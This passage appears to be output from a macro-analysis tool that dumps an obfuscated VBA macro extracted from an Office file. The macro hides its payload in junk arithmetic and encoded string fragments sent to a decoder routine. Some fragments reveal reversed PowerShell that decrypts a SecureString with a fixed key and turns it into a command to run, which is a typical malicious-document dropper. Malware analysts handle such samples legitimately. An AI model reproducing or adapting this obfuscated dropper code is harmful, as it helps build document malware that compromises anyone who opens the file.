+ 7093180 * JtwlzRcpN * (7348495 / GwNIonuoopNFwO / 8179875 - Tan(RNfAp / CBool(wrIwWNSRcBHNvR / 7444910 / oFowwh))))woBWGRKbh = lHHCWzpQj = XMMzjTYNK = (4709765 / LsCOvUzAG + 194256 * BTWFnP * (3113197 / wpIaYV / 6826156 - Tan(RDiDADHZPEnbi / CBool(QZVQLtbifIzCZ / 7042829 / SitLi))))End Function"
      File "pOzAhdwW.bas" (Streampath: "Macros/VBA/pOzAhdwW") has code: "Sub hoobLKPlXfaX(JWNHkqFOw) On Error Resume Next Dim uPXRaW() ReDim HkVEwHZHAQ(2) kEWTnQEdnasHRX(0) = 7117342 uLosoPtYpCU(1) = 2132732 nAjZKds = Loo - 6870627 bHNwjDOcEh = 2665359 * 4914523End SubFunction SHzYRwH()On Error Resume NextWfHIujbNMNc = "rFq3AQOAIGAwAwMAADA3AQOAUDGCdQvrwoIHmOPvfYujKqSfVh"qTThwY = hBtsDunzj = aGnhZnLitzGslK = (5686782 / LEZdqYLfw + 9147925 * RjEov * (2764443 / jFNBiVjGb / 9446601 - Tan(pQiOiiiXGHCuIi / CBool(kuzoIKdMbY / 2380498 / ZDujwOj))))DBwcKhIOsSJ = JfUCCWGXI = jKESBloI = (7412088 / kLDHqRYIULYF + 6170837 * ZwQsvSBnV * (9187888 / NIsYSGaKZwzcM / 2287487 - Tan(zzDwtaiisDUv / CBool(UnzpHMc / 1883078 / kBEzvGbcVEj))))MsJPddN = gjHBjhbyuf(WfHIujbNMNc, 25, 23)MTzFiUnVwSG = "GMwcIQAA1AAZAMGA3AgMAEGAhBwMAIGAkBAMAYDAkzqsYwLtUMjsADtaqTch"WblCkU = nikzJpQrk = uPGwoHVisuK = (1497589 / SDFnpX + 5396265 * nLnpRvOIdfAvBD * (7614190 / JIUAUjUFfY / 3603844 - Tan(EBbUIjHETHWLH / CBool(OOKMEOQbi / 6468438 / bfGrh))))Jrwzw = KtcUEbEfm = wjJClJtw = (3456786 / vSTDdc + 4486112 * SjEANlwdimRnJ * (5914238 / mSjSbwtij / 7773230 - Tan(mrZYqcELNGNv / CBool(XFHaGjivQ / 8621837 / lzJvzYzXMbz))))nuujzXVPTqz = gjHBjhbyuf(MTzFiUnVwSG, 20, 34)kvtdJGZLj = "sRhnLFlidjrjHtZAUGAzAwNAYGAiBQZAYGAmBAMAgDA5AANAQGAlBAZAMDAiBQNAIDAzAwYAMDA3AgMAcDAmBQOAUDA0AQOAkDA4AAMAkDAhBAZAUDA4AgYAcDAhBQNAkDA5AgMAcDA2AQMAIDAwAwYAkDAlBgZAIGAhBQOAgDAxAgZAEDAxAAZAADAzAwMAcDAIIKSRfsEjc"DiIPcPAXDl = SjJusrvGT = MWNXZXtD = (4417183 / CNntH + 6465863 * wwUritYRHG * (5220096 / tGLpufzLNz / 6873319 - Tan(jifkEs / CBool(nLQwKzch / 5730699 / GRQSZdzrYtNH))))dzpLulEEWkV = WNwMLLwNo = PqnRcHB = (8146905 / zVWGhSpG + 1032788 * sjzCfpDCwnR * (7231540 / AtCaiIAp / 8063776 - Tan(bPmzGOtVFqf / CBool(jPnIcZFCCzMFVN / 5995325 / LwEsDwXntpwnE))))dpJGfAk = gjHBjhbyuf(kvtdJGZLj, 11, 181)bbWqbSbJJ = "SmlfzfXlXfqjjAYGAlBQYAEDA3AgYAEGAzAQNAUGAmBwNAADAmBgNAMDAxAgMAMGA5AAMAgDAzFwAPhlpPdQnizo"fcfkRjSV = jcNvQDbaN = ihIYDVwTiajoa = (5081875 / wBzKMI + 7134264 * AQkRzVDR * (4322225 / vPGcmK / 4483053 - Tan(bnNbsBnnSCiQAl / CBool(PIISDwwfIKifL / 258099 / OmmRjzDZY))))MIcYmhHOZ = iiMDBnFFJ = qUirTwdHE = (3285733 / Wbmwnr + 5682163 * EvLikkYkuiV * (820644 / WpKAkuTTCp / 9795479 - Tan(OMCaGN / CBool(cWEaimuHuOidjM / 6347706 / mbvDw))))InXrLQbYI = gjHBjhbyuf(bbWqbSbJJ, 16, 60)XPHfTP = "TbaQoYjzwCwWnQaMbHVkUYDziEMIdftDA1AgNAgDA5AQZAMDAzAAMAkDA3AgNAMDAwAQMAADAmBgNAIGA2AgMAYDAmBANAUGAxAQOAUGAzAAZAQDAjBQZAIDA0AgYAEGAxAQMAUDA1AgMAMGA5AAMAQDA3AAMAMDAzAQNAYGA5AwYAYDA5AShnd"kWMEMBfq = KGdtCdwpj = UaUjjXSsQGhbaU = (5388568 / dwFmIIuqUhi + 2320120 * AKmdDt * (3813355 / WhjhJIsajjIRV / 10405 - Tan(ktnLjiMCoGjQwu / CBool(XaIoHOYFzzCPlB / 4988558 / ozKCjPhnPJfsa))))GZpckzMhf = aswflIiJj = kLooMdObAOMvQ = (7211712 / NHsUZzjfiZHGk + 9871886 * rkHHZqvbVJAii * (5782347 / fbKmYAq / 7868103 - Tan(vBjJOE / CBool(ibHXbnJLC / 3558788 / WKYOFBRujvz))))kJQbk = gjHBjhbyuf(XPHfTP, 5, 147)PTJPLcdqonj = "sKWNnZAIDA1AwNAEGA4AgMAUDAzAgMAQGAmBwNAIGAiBQMAQGAmBANAMDA4AAZAMDA1AwMAIGAzAgNAEDAyAANAIDAkBQMAADA3AQMAcDA2AAMAEDAxAANAQGAkQUlqz"smwXnkAVLtk = fsnNYSLMo = MOMCbJXAtl = (3806135 / XULiGOviaiiWaO + 9605381 * iCzjkYBrUWmaq * (3338003 / uzhUTBpL / 9375665 - Tan(JAijqbML / CBool(WqlnNwSTNk / 5492766 / nJRkWstir))))BJirSRMj = orDQaXWIi = ZPNvaIMUWAhca = (3882905 / WrNzTiSjmiziWm + 5126132 * LjqDFaOqbJXXdJ * (2277143 / iUDjJJKL / 1188045 - Tan(aMbaqivEWtk / CBool(qvdWXKLv / 545594 / WizCjumCYi))))jKofwjNlE = gjHBjhbyuf(PTJPLcdqonj, 7, 117)uiZcrs = "kDkYzNHcdKUiHwpduGjwlIDA0AQNAYDAmBwNAMGAiBQZAQGA2AgZAMGA4AAZAIGAlBgZAcDAjBwMAkDA1AAOAADAxAgMAkDAjBANAkDAmBgMAEDAlBQMAQGAiBAOAkDA5AwYAADAiBAZAIDA3AQZAQGAmBQOAIDA1AgYAcDA5AgYAADAxAgNAcAimaj"bVtOMZUuzBi = uPYJSDzch = uRkwMisWWG = (4958735 / OORTDPwvnsX + 5988285 * PSRoPAzRfR * (1631293 / PwAwfmjRMBJszz / 6540680 - Tan(mrCuFUwMbi / CBool(FaQjzI / 4573592 / SzwHFqNRNIZo))))oKwalV = PSVfnOOqu = oXwjbrvSMjbLPj = (7993079 / zDrCjDCuqnF + 7172984 * iujtSIZLYPVWvw * (8064040 / DDopERK / 9812358 - Tan(QlUCpomKXiouR / CBool(XQYYoVjnGMjnkQ / 9106425 / QkhBCXEIjajMY))))jwhPS = gjHBjhbyuf(uiZcrs, 6, 161)HNljdjwLo = "wwXFzzcMonZlqwjhYkaRANAcDA1AgZAUDA2AQZAQGAyAQYAUGAlBwYAUGAlBgZAQGA0AwMAIGAwAwYAQGA2AQMAIDA0AgNAgDA0AAOAIDAhBQOAUGA4AQNAQGA4AgZAIDAyAANAcDAlBgZAcDA5AgZAMDAkBwYAcDAjBAOLEAMJ"kwYnIhjTMT = iHuUHOwMD = ffwrEWPJwwqLwn = (9245020 / SUpGkAWI + 7759333 * aVjtaJCRzbuh * (3541158 / TDIia / 4424119 - Tan(GYrvdW / CBool(NiJnCSwucFVhIj / 8130761 / VkCpnjsn))))RPFvacwunvi = iRbTzozwm = DSSHiz = (841482 / aDMsOcQDW + 2098256 * jJjmVFlqcz * (7691371 / YuDdXC / 2660664 - Tan(CkPGob / CBool(DzDtSmVFwWjw / 379606 / IbamvnzKwtBIE))))dnviYZlaFD = gjHBjhbyuf(HNljdjwLo, 6, 146)dDBfWqswBYl = "ii2AwNAYGAiBAZAgDAlBgNAIGA5AgYAUGA4AQYAIGishhNjRRjpE"NIYZQjUXwOE = fDLIEaDcG = CTDinJIw = (2561036 / SWwoiuMTanKFn + 5631833 * AftrWmBhlF * (7017874 / qChGP / 9648388 - Tan(oIFXdKNkCSIwf / CBool(EndOFqFQp / 2483611 / upVRshuHtoU))))JMOtpGcmdNn = vHQjICwPd = EilOEs = (2029575 / oXTsoj + 3904858 * SKlOomlksVwYi * (584123 / ajapLkCn / 7897066 - Tan(AERADTjMQjo / CBool(OTStBWjtmZ / 7272966 / tIOtIH))))nnwzJzqUUu = gjHBjhbyuf(dDBfWqswBYl, 12, 39)cPWlw = "SkbDAyAgMAYGAhBwMAQDAlBAZAYGA5AQYAQDAlBQYAcDAlBAZAEGA4AQOAUGAyAgMAQGA3AAOAgDAiBQZAIGAiBANAEGAwAgMAMDA4AgYAgDA5AQZAcDA5AgYAYDA3AjFZOwqCt"BlZcj = izhDRVQpm = zRASPjDfjwHm = (8997914 / JuPYTnwNuXR + 2601460 * hJRdcLmWFSh * (3980077 / DSjRdvEBt / 4461486 - Tan(rWwmjX / CBool(ABDVWSTfbH / 1900702 / bhEtk))))KrKLnD = jhcuWJfnm = lGMAnhp = (6367742 / WhwOwzUw + 8321032 * vYncOGCujdsYi * (6850997 / hZOHWW / 7437799 - Tan(lWCjS / CBool(wCMnzrnwdw / 8967133 / mGDawzMIQYFp))))wfulZS = gjHBjhbyuf(cPWlw, 9, 124)vkudtYdiC = "pkIkoAcDAhBQOAADAkBAMAYGAqcpTiusfSNFJr"vLVzPTF = MNVOLoDTj = HvisGqEpcZbUEw = (7632590 / HKpvDMoBYOEdWV + 9098104 * VTXMiO * (533504 / ijAOHrI / 4789469 - Tan(PjsdlsuGhU / CBool(mbTHiVwlZbMsH / 5783974 / TLaujGf))))EIjaGGSHw = CGoCckacG = uKYHQ = (8706000 / lsWzACokzYY + 6837545 * nnlGZMSbsOK * (9306839 / LwwFFDSrI / 7674994 - Tan(fCEARcMBtaN / CBool(ZRhEaH / 8791124 / MDfqpnuSVR))))qccNtmb = gjHBjhbyuf(vkudtYdiC, 14, 20)ifrzOmVju = "ADDOCnTMGmirEQliQOAUDA0AANAgDAyAgNAADAmBQMAUGAlBAMAADAmBwNAkDA0AQYAMDAzAQOAMDA0AgNAMDAwAAMAEDA0AgZjRwlfLiQXTTcSvUCP"nihcEZGwn = jRPtrKBAR = TZYbcKQJhTpTjI = (2003540 / NasSFIUZd + 9736862 * GGCBjUmNu * (644148 / rEwSRpM / 2490772 - Tan(HiUwbHzsLFz / CBool(inKDfSGwuvQTDi / 7761119 / nqfMQOPXl))))AnhCV = FacVtCoDM = RmOmWGO = (8010323 / SAtsTiF + 3952771 * mhPXmRZrdd * (151861 / bPqVXiYEIGBYD / 1055813 - Tan(LhIrohNRiztA / CBool(MicloTqkDXvvjQ / 3486686 / jrTjjOKVmMK))))iRGUUsNY = gjHBjhbyuf(ifrzOmVju, 18, 82)dHMZBuXtBo = "wfiYwQTahjlPnawDAxAQNAIGAlBgMAcDAxAQOAIGAwAAMAQGAyAgYAQGAlBAMbwiwpMRw"TPpHONjtX = tjffzAGjS = oNIABKicTNLaA = (7749519 / JiObojdhh + 1765236 * cDmwkVS * (292358 / lzXMzvDOAnT / 6131813 - Tan(HnRsEdHLjarqi / CBool(qVdpHzImKK / 269225 / tfOjtpflww))))oIvfDVkz = jsRouUEYf = RUNtWwLji = (4074126 / HqdjbwzjCK + 9456727 * rolYSEnhli * (5908629 / YRVKvd / 9774166 - Tan(bVYBn / CBool(SXFrd / 2339543 / qWElZsbv))))iwqmwDfj = gjHBjhbyuf(dHMZBuXtBo, 9, 46)saLsWqnASUj = "oUrhqtTcaYgDAnzRFNcYSwMOAwCF"DzzaG = sRtlwsSLm = GVIYKKLzL = (6183644 / MhTjujjHKo + 2833116 * zXCliNudGdXoGO * (1794589 / WQcToUjjZCDLlE / 5472110 - Tan(sXKAIZdmQDU / CBool(KfcjXlktMvJ / 5563719 / SLjJjrBBnwjDI))))izIZGwtSTib = nwnpDlzzZ = ZXoAUiXwNhJpO = (9439404 / jLTjXitdOw + 7648419 * WrXdtt * (3310126 / mvrhSQ / 9927546 - Tan(WzziqNWaj / CBool(BLjuZCjc / 227460 / pEPwz))))JDFSWTdkrtS = gjHBjhbyuf(saLsWqnASUj, 16, 3)OYkZjF = "vZMLZLFXOIYpLizLzWHYCRtHvisOYGAkBQMAYDA1AAMAUGAjBQZAcDA3AwNAkDAhBQZAUGAlBgMAUDAjBwNAcDA0AwNAUGA4AAOAADA3AwYAYDA2AguPKmCXacGz"JmozzDMiUmb = GzFzAGNHN = tErJwVdBfiCajN = (2922446 / quvqwHjl + 3893558 * QMoCjpjkfQ * (6990838 / ijKRS / 9210800 - Tan(fRsjkQSMWAlXFp / CBool(FQMczMuv / 6556697 / foMOjholmoNYcD))))qzhjV = mQdJjttiM = btEpwmlV = (1980426 / FcGzqTzmTAEj + 7713391 * qjjkLo * (930090 / bvnmd / 9819399 - Tan(zDrOrwJJfTQw / CBool(LLMuFu / 9812564 / DAKVjEA))))TiwGaYD = gjHBjhbyuf(OYkZjF, 11, 86)NYiUQCn = "ZGnZiroBtCFswAgYAgDAzAAZAMGAmBAZAYGAwAANAIGAkKIA"iNDRRVPpq = BiQYwiowT = ObiYUDrT = (4850 / TTTBVStKRjuj + 9049938 * jvAwIPja * (5383173 / LLmAHiK / 82662 - Tan(AfiOPCfodfmXf / CBool(NoZCtKkHsrF / 8051457 / ftDmWup))))coSawZIji = vkAjlwdbC = pqfiZLibRpKsnq = (1763553 / rzvasQdql + 5567606 * sRwhIEwBOKfG * (6579516 / LEEfCzKX / 2328473 - Tan(ijcCZ / CBool(ptwXpKU / 1550265 / oqpuP))))WvCDvIYJ = gjHBjhbyuf(NYiUQCn, 4, 32)GDFwGBnd = "iTHULinJSThUjuKlSCaTGNirtSeRUceS::]LAHsram.SecIVRESPoRETNi.EmItNUr[ (otUAGniRTsOTrTP::]LaHsRam.sECivrEsporetnI.emiTNuR[ ((XEiCwfTczYQcbhSlZlAc"rwhXqMKs = BRDRvpnMv = rkbwbmPGYzfD = (9772879 / kPkSjcUPAHGi + 2695084 * KiazvmChjwhFq * (8899612 / IEwTQjfFUdTU / 5480417 - Tan(TqsYWwqYfIM / CBool(DjlkimaisDIP / 9518522 / idFWbRa))))kOjPZTWp = zPIojTzuk = pGfdwTjwj = (8979401 / rQhdbKRMSJjvKF + 3284640 * wzTcjHiTIR * (6612948 / KWYvWbGzaLF / 1647043 - Tan(hSPILVXhqnA / CBool(SOklOUJ / 5473690 / CwklYizRCksK))))jIBTlSFkaIz = gjHBjhbyuf(GDFwGBnd, 18, 106)tVrcq = "cBM0AwMAUGA4AAZAUGAyAwNAIDA4AAOAMGAiBANAcDAjBQMAQGAiBgZAYDAwAQNAcDAwPphDCJJQNjoRFYWN"IIOkakLYFq = rbmRLCiFD = zXlWCOiZNQw = (5023489 / SSstsWi + 4383201 * HOIzD * (8042930 / jjAsaU / 9401839 - Tan(urzOjzHXQQU / CBool(TJmjVLsPXNDKsQ / 6468880 / whkwVMzAZTn))))ZIAovifYTz = HzrrijqpX = QXObhJjomWSPbb = (6866470 / VdHJlJCXlPj + 4303756 * bCbKjfJV * (4340761 / CTMnzUrYPHCN / 2412042 - Tan(NLHVqqRcKUK / CBool(rFrvZKzp / 823504 / ZWFDtrQOSOptz))))dzlRupHv = gjHBjhbyuf(tVrcq, 17, 65)SmQjAWqZ = "wLcQAYLvTkipjXBAkDAxAgMAMDAiBQNAEDA4AgNAYGAiBwYAkDAxAQZAQDAwAQYAMGAiBQOAQDA2AgMAcDA4AAMAYGA4AQZAADA4AAOAcDA5AQMAIGAiBAZAADAiBQNAgDAiBAOAQGA1AQOAQGAmBANAMDAzAANAQGA3AQNAQDAkBAMAUGXwpiEqqAtdwqnONPGfCzFoD"EYRwpJhmJTG = jjNokUPUq = btcwAkP = (1074239 / Pkfzjds + 6595429 * zQiozwcMiXJkkV * (2781765 / NUOQNdLrwS / 9409414 - Tan(miLsm / CBool(VafmwfWo / 509716 / vdfPRWWIiRlVE))))wTwjzJMTq = rsizXaDLR = UAnvaXiuZbTvTn = (6359695 / QICOUizVnuSf + 9675947 * zjdfKPd * (5066751 / lvWMulwYqSkKuJ / 703726 - Tan(qARHfFCwLb / CBool(RndRKpMRSzRF / 7050750 / VbNNEEWaCTPLS))))fHkdZ = gjHBjhbyuf(SmQjAWqZ, 24, 163)JDVYs = "rSSjtRqAMGAjBwMAADAyAwMAYGAzAAZAIDA3AgYAkDAyAgNAUGAiBAZAEGAzAgNAIDAyAQMAADAkBQYAYDAhBgZAUGAkBQZAEGAyAgNAYDAyAAOAADAhBgYAEGA1AQOAUGA5AAMAQDAiBAZAbcWl"uUOPzhqw = UUqiVfWrF = mLMLmlXdP = (7403044 / jwhoawW + 8846466 * lkoRHcvZqcmQoi * (7411008 / QkkPO / 4851865 - Tan(cWkVItuizzKoBW / CBool(DKqwmmAuvUvlKM / 7283137 / hLkMuXGmfv))))ZBLBU = tmTiqkjUj = ZPmMbcpBMH = (6841369 / NTccRJBfD + 640013 * qtNbQiKF * (8229902 / KERZXkRiFZY / 2375170 - Tan(ZzBOTWSAX / CBool(wvTOBYXCB / 8611467 / CPLCtYjzwduiW))))UHHIQHPzS = gjHBjhbyuf(JDVYs, 5, 137)UiztOiYhAj = "rUAEDA4AwYAkDA4AwMAUGAmBgZAEGAmBQNAYGAyAQNAYDAjnozMKJflXwiPZzZmiCWKco"EiNEwWjEQE = AsYMhEcpq = ULWKnYSjrZLGB = (7873123 / CpHLXS + 4752657 * jGLaZDpn * (5124254 / uIuiwwOk / 2523110 - Tan(FYuqjGiPUdSZ / CBool(rnEbzsdBlloGjL / 3959878 / LznFlOKMUqTZa))))hiEZir = TzzUMCusU = rjlTnGkD = (8903620 / VJffUK + 5537115 * sHHZDbSnol * (3673013 / ZBqjwV / 9890387 - Tan(XFkmZPEKRUACaS / CBool(NJRfKBARwkljUS / 9791493 / wLhFmXUAoWI))))UulGq = gjHBjhbyuf(UiztOiYhAj, 24, 44)pvRCJFzZ = "qJPInVmJjhlnsAEDA5AwYAkDA4AQMAYDAxAgMAYGAhBwYAgDAiBgMAADA4AAZAIGA5AgYAMDA4AQNAQDAyAAOAcnMKVkbLLwDC"kICFNCSHqIr = hiAsrJVnp = LjaFUM = (2230381 / oFlQZ + 6698529 * HQzXRiu * (7782608 / VnCwpkwRo / 1588799 - Tan(nfciQPKqoZRER / CBool(ktXPXcQvAkj / 1969697 / MDGUbRp))))dcNiW = YbnPHCTEz = DikSF = (8306354 / CRjcsisBFC + 9683134 * iFpncIIGIHVI * (2279325 / AjwZuHMfSKlMjz / 9106123 - Tan(BzVSRuO / CBool(IKwlSuvXQwiLDj / 1572582 / aCnfCPbLKuGVn))))ntJcDiWtZXO = gjHBjhbyuf(pvRCJFzZ, 12, 74)TjhXiqD = "YLvhXuaslfHORakdIqETjBQYAIDA2AQNAkDA2AgZAMDAjBwYAUGAjBQYAEDA2AAMAQDA1AAOAADAwAAOAcDA4AgMAQDAzAwYAEDAxAAOAEDAmBAZAkDAhBwYAQDA4AgNAMGAiBQYAIDA1AQMAQDAyAQZAMDA4AANAQDAlBgZAgDAlBgZAMDAkBQNAIDA4AQYAQDA2AAZAIGAxAgZAMDAwAQOAADAmEDaBb"jblYmUEE = rQEZrtzmC = bVEYIprVGwwfcM = (8925790 / wkafLKJoHT + 1160172 * KfBDhtADMWhUOz * (8439089 / cMosfRzOLXkRL / 3085714 - Tan(pjtLawuz / CBool(LqNZCGQNSPM / 8920816 / NTtimsJJjsw))))OjhjCHK = EskVmRzhP = joDXL = (1034148 / WwwDXK + 4221053 * RrKCoZbwQ * (4059567 / WvaBSif / 5012602 - Tan(ipLamCmlvsh / CBool(OvVZmfbfFpn / 384821 / jLwzd))))ddWLaoYwjX = gjHBjhbyuf(TjhXiqD, 7, 199)NaivjKdl = "ZtbDzovqzQYAIzkjpHoUIzNrzMAQGAhBAZAwHA9AQPAcGAuBQMAkHAPBgTAUFA2BAUA4EAiBgQAgEArBgTAMGAzBwaAgFApBgQAUGA8BgM5435a05061b3143240f3476111d29467'($(RTSBOfQS"FfWIojB = EuvLCMQts = foWsZoA = (903348 / aHjPwlQLwXWF + 8490926 * hiTFAz * (4893213 / IkTSczAcTM / 7967587 - Tan(zmVfzalATVV / CBool(nfoNFi / 9872383 / Ovzwvj))))RzGnorP = ISLTDKPML = JnIaNYLmOMizJm = (4454894 / MjQCnWkRRSpA + 3504911 * qbUtERa * (4800697 / pkMkiBLJYwSzj / 9179164 - Tan(HnDrIu / CBool(LUCWDdPiFKn / 8390918 / RblBPGJRDz))))KJZTfP = gjHBjhbyuf(NaivjKdl, 4, 122)vJXWlj = "ZGFbBwmnrPazbKzMQvcADtCogMAADAlBgNAgDAxAAOAkDA2AANAQDAlBgMAMGA3AQNAMGA5AgZAEDA2AQYAADAlBQZAYDAkBgYAIDAyAgYAEGA0AwNAMGAyAgNAIDAwAwNAEDA4AgYAcDAGuEJP"mdizzCjwfn = jpNzXCjUJ = daMKmrHwFMM = (3561756 / JTJRzwjqAW + 8885859 * MMQsUS * (2082203 / NXYknbSWXj / 6638578 - Tan(QNDjOkiX / CBool(qcESAafrF / 7048693 / BpOmuYiWiMTRn))))bdLBdzZqvB = dtwIjijkm = WuUSn = (158562 / iRzoObzRmpGM + 8716265 * XLQoGbX * (1643325 / AKOmssZGrV / 8392485 - Tan(CSzORzqwodX / CBool(pwiDdjYPWpwiA / 7759094 / YMjOrB))))UZpOKtovWMh = gjHBjhbyuf(vJXWlj, 6, 118)lINwNw = "OifETHFz )))) ))961..641( yEK- GNIrtSERuces-OTTreVnoC| '==AA2AQMAYDAhBQOAEDA0AQOAgDAwAzFJWcBTAklYPo"VwFRKWVYcck = VOptjLUiV = kCEwtHij = (9040514 / SwjUbYGLiiw + 4410447 * wtGuino * (4622363 / nZsjifKl / 3024060 - Tan(plYXhVRHEJ / CBool(nWNrHFmMEwGIAK / 1378374 / uqbBzSUhZY))))iwjzwhSLZai = WYZMfkOSA = fpaZX = (4872565 / fjcXMat + 4462005 * dICUBfSj * (6662822 / mrQWuhK / 791564 - Tan(FPBdXHpwwAKzfp / CBool(HGPfBzX / 8312510 / KmTOMiqBWzRBb))))uOHTI = gjHBjhbyuf(lINwNw, 14, 79)CtkUlwYfi = "rWBYYoGzijNTnitGSIfOKTYZwSNDAfhtqMAIDA2AwMAMDA1AwYAkDAlBAOAYDA4AQMAUGA5AQNAgDAyAQMAEGA1AANAMGA2AQYAMDA3AgYAYGAiBQMAADAiBwYAMDAyAwMAYDAkBQMAMDAhBAMAUDAjBQNAYGAzAAZAMGAkBwNAYDA5AgNAYDAwAwNAUGAyAYvKqOv"kWwfKMS = jOOqsDWvi = FHlXO = (6211209 / IFVDNanoBWIln + 5300370 * qrFVzqULIkh * (7498052 / wlqZoufC / 2467903 - Tan(WoaCrjNKucYR / CBool(SthAnuMSfnVpP / 6145690 / wtwidGjhYnd))))aIJoivDpaJz = ivZmKthrY = HtsIARqAFMb = (78948 / OBjunniLIM + 1843768 * RsscbIX * (1355119 / ozEWc / 7945412 - Tan(jTbCiQLkiztEq / CBool(wjisjYzY / 5699435 / DtcZC))))vqzkvC = gjHBjhbyuf(CtkUlwYfi, 7, 159)uGMLD = "ITMvfUBjuiA3AQYAQDAyAQNAcDAzAgMAEGAjBAOAMDAwAAZAMGAmBQNAQDAlBQOAkDA2AwMAYDAhBwYAMGAmBAMAotpVIjMMVQn"SuJlN = AJWLACMLY = HrpLh = (8728323 / TqZASOoNcXrbN + 8489026 * oFnXsztBnk * (1789620 / QMbzwZQ / 20055 - Tan(qchviz / CBool(iUjKMfCjY / 1930030 / tapmQ))))SpqZodGzfm = JAXAAatCz = WzdFcJzVXSAwA = (7165868 / rYoYWZ + 3215938 * LYuLz * (4465057 / bhNUJ / 1089546 - Tan(ThruFS / CBool(QKAmqICE / 5775930 / SFtRjhwBwT))))NbiHqL = gjHBjhbyuf(uGMLD, 12, 78)FVlzE = "djbuSEbwaMjBQOAYDAlBgNAADA2AAMAQDAmBwNAIGAlBwMAMGA0AgYAMGAwAgNAYGA0RjRJFNSnspJKidvfHfViCb"fzfiKzsw = rHOlHDYfN = ZtPvIIa = (5008334 / czuWmpUwPLjba + 2655574 * jzbSqwtnw * (1362886 / dQOZUPMEz / 6170171 - Tan(kbvmHJUijzfrOJ / CBool(HjriLwPOMEi / 8149756 / TOWOskOzXDqkS))))mMPkLiSVq = UXYzYzPnH = NQUAVNjiZT = (5735214 / UcRzivh + 7086304 * AwsbspOfibD * (2253985 / JzXjtmnVRRpJ / 483329 - Tan(jZVTGXzMSbYcXU / CBool(qrawj / 3792182 / bvCuwKjh))))TiZukVvz = gjHBjhbyuf(FVlzE, 23, 57)OBGPOmGfQ = "ZGnQizwzoDtOIfIbhAmCGVfzPkMhBANAUGA1AgMAkDAxAwNAIDA0AwNAADA0AQNAMDA3AANAMDAhBAMAQGA2AAOAQDA1AgYAADA1AQOAUDAkBgYAUGA1AgZAkDAzGcr"QdcZqz = putvtEuIh = tzYLTE = (1123942 / NzpzLERIwRoDNa + 3077992 * HurFiAcJGW * (7425529 / UIJiuQzRAqjodk / 985387 - Tan(TivShtEYNA / CBool(MWfsoRSnq / 1593231 / IwdwiQ))))MDqLVl = LCbtvzqba = SbDkQtvl = (8901659 / wuWLwOUJW + 9918773 * iOnNLZbQXpQOw * (66295 / mXtPArE / 1877996 - Tan(RfPwhihF / CBool(ijMQXFUTUW / 6096859 / jYLjbwPHzwd))))wpKOVjXV = gjHBjhbyuf(OBGPOmGfQ, 4, 97)FGrNokEuTNw = "QELEkPABbhWCEWizjPhZnHriiiBANAIGAlBgZAEDAkBANAMGAhBANAIGAwAgNAEDA3AAOAgDA0AQNAYDAyAwMAIGAxAgNAQGAkBgZAUGAlBAZAMGA2AAMAUGAmBQMAUGAmBgMAYGAmBQYbXpiB"kvPzjdJNYzi = CFWGThLhQ = piWNcapsUXT = (4113848 / oiZAZBiBNQKLiV + 6047323 * ZBKlanVOcKj * (3033238 / LnwhKhbu / 6296610 - Tan(fhicNMCzEJIv / CBool(IjUBIKXOS / 3681423 / CdNiToDqsOiD))))adIzMBIhc = sLICaMfGI = RnzqjTjJ = (4520340 / OzZkwYi + 3055175 * SCHdjc * (8057347 / HzCnN / 5365706 - Tan(MajdIkGjrQou / CBool(XEChPzqMJJRO / 8113990 / cLUaBVmY))))BzPak = gjHBjhbyuf(FGrNokEuTNw, 6, 116)jVmpGERfY = "LGwXfFgMAUDAzAQZAUGAkBAOAMGAiBgMAUGA4AQYAgDA4AQYAUDA3AANAEDAlBgNAgDAkBwYAkDA5AQYAUDAyAwNAcDAyAQOAEGAyAwYAQGA3AgMAIDA2AQZAIDAzAwYAUGA2AwMAYGAiBgYAMGA5AAOAYDAyAQYAADA3AQYAcDAwAAZAUDA3AgYAQDAkBwMAIGGlmMuYRpjiYj"lasUB = dYjtSZzwA = VXjMBhLnF = (5720703 / NnmEJbcoWkF + 4016938 * zwzuzJJi * (1356354 / TKzQDZKztKFPlz / 7949065 - Tan(wVJioQ / CBool(NNDhR / 7958074 / UwGsStKLYPLkMK))))OFjSttizL = NjNCFoLoY = GDIlCArtKz = (8102930 / Isfvwm + 9366160 * SDEszdpfLAkfZ * (5767406 / PlYIYYSaOUHa / 4086915 - Tan(JpYrfKCwQ / CBool(ZKMiJNKjiFQK / 5041532 / YVAcqXsDUI))))vFvvcfdFmQ = gjHBjhbyuf(jVmpGERfY, 13, 189)tRNazmsWqk = "PUkBQMAMGA1AQYAQDAmBQZAUGA3AQMAQGA2AgZAEGA3AwNAQZIiBGkjXvazr"cjcMvJJjXVO = OTiaOkBdC = ACCMsLshoAMs = (8373105 / dXLurTQNi + 2769675 * owUwmHaQMomjjO * (9945090 / STBhVbFwqZG / 7309306 - Tan(UmToREMYjBt / CBool(cilrrfjriwuh / 6242257 / MtXHNAojs))))LoROquIhj = BSsOKnMjR = vswUEz = (8769812 / uAWslIsrSA + 5234094 * szwmjZwRWEWP * (5471367 / kjQZSITau / 6092711 - Tan(JjkWTULHd / CBool(zwJkfAc / 687997 / iGPLXLatiSUSD))))MUFwAhiiSa = gjHBjhbyuf(tRNazmsWqk, 13, 46)kiSMIFS = "KAIvwzGLzzGAwAQOAADAxAQOAADAjBwYAMDAxAwMAADA4AQNAgDA2AAZAQDA3AgYAIDA1AQZAgDAmBwYAcDA3AQMAkDAlBQZAYGipjsAz"CHnLzHkTEYp = QdUciXWhi = AuQrjPkzow = (6936854 / ZmrWHbvpUZA + 6147250 * BDZBnmAoMOwo * (4170890 / klMhBzkDhkMQum / 7804727 - Tan(atkGiM / CBool(vBKjrNY / 8738733 / liKEIrwjAzV))))sIfSXw = ppXrNABnE = OSXaR = (6233223 / PtpJrifPckBjv + 695703 * jrVGiS * (4245786 / LlpiWMndrLHRG / 1556770 - Tan(zLrclPA / CBool(JAHmj / 876469 / CYtCdXB))))RfrsBkS = gjHBjhbyuf(kiSMIFS, 7, 89)ztfAB = "XPHOQDSVawRoubXZDAlBQOAMDAjBgYAIGAlBAMAIGAiBAOAYGAwAgZAIDAhBwMAUDAmBQMAcDAjBgMAUGAjBAMAcDAzAAMAYGA1AwNAADAhBQOAUGAwAgMAUDA0AQOAgDAzAANAEGA3AQMAUGAzAwNAkDAhBgZAADA3AQNAQDAhBAZAQDAxAAOAMGAkBAOAgDA4AQNAMDAzlsmLroMBlNjEALQ"iAHUR = MzZqpuPcL = RzMTMEjM = (2948498 / IvqMEmRbo + 2795570 * CwRirCsNX * (4558254 / LirQustnjjmuW / 3129771 - Tan(NlDdon / CBool(zPBvlUCnzrzSkI / 3925004 / rYiAfoQEvRko))))LCdPzmCvi = 